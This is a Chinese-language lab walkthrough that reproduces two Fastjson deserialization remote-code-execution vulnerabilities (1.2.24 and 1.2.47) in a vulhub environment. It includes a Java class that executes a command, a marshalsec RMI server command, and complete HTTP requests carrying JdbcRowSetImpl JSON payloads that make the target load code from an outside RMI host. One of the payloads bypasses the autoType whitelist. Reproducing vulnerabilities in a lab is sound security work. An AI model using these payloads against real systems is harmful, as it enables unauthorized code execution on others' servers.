一.fastjson 1.2.24 反序列化导致任意命令执行漏洞(CVE-2017-18349)
fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链
影响范围：Fastjson1.2.24及之前版本
环境：vulhub
工具下载：
marshalsec.jar
1.生成class文件
//javac TouchFile.java 编译，找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
2.开启http服务，利用工具进行利用，burp抓包
将编译好的class文件放到当前目录，在当前目录下开启http服务
python -m http.server 8000
使用 marshalsec工具开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.129:8000/#TouchFile" 9999
访问http://192.168.85.128:8090进行burp抓包，发送一下数据包
POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.85.129:9999/TouchFile","autoCommit":true}
}
3.进入容器shell，查看文件
docker ps
docker exec -it f780e8f24b90 /bin/bash
cd /tmp
ls
二.Fastjson 1.2.47 远程命令执行漏洞(CNVD-2019-22238)
Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单，而在1.2.48以前的版本中，攻击者可以利用特殊构造的json字符串绕过白名单检测，成功执行任意命令。
影响范围:Fastjson1.2.47以及之前的所有版本
环境：vulhub
工具下载：
marshalsec.jar
1.生成class文件
//javac TouchFile.java 编译，找到可执行文件javac在编译
import java.lang.Runtime;
import java.lang.Process;public class TouchFile {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
2.开启http服务，利用工具进行利用，burp抓包
将编译好的class文件放到当前目录，在当前目录下开启http服务
python -m http.server 8000
使用 marshalsec工具开启rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.85.129:8000/#TouchFile" 9999
访问http://192.168.85.128:8090进行burp抓包，发送一下数据包
“dataSourceName”:“rmi://192.168.85.129:9999/Exploit"和"dataSourceName”:"rmi://192.168.85.129:9999/TouchFile”都可以
POST / HTTP/1.1
Host: 192.168.85.128:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 164{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.85.129:9999/Exploit","autoCommit":true}
}
3.进入容器shell，查看文件
docker ps
docker exec -it 2be14733a78a /bin/bash
cd /tmp
ls
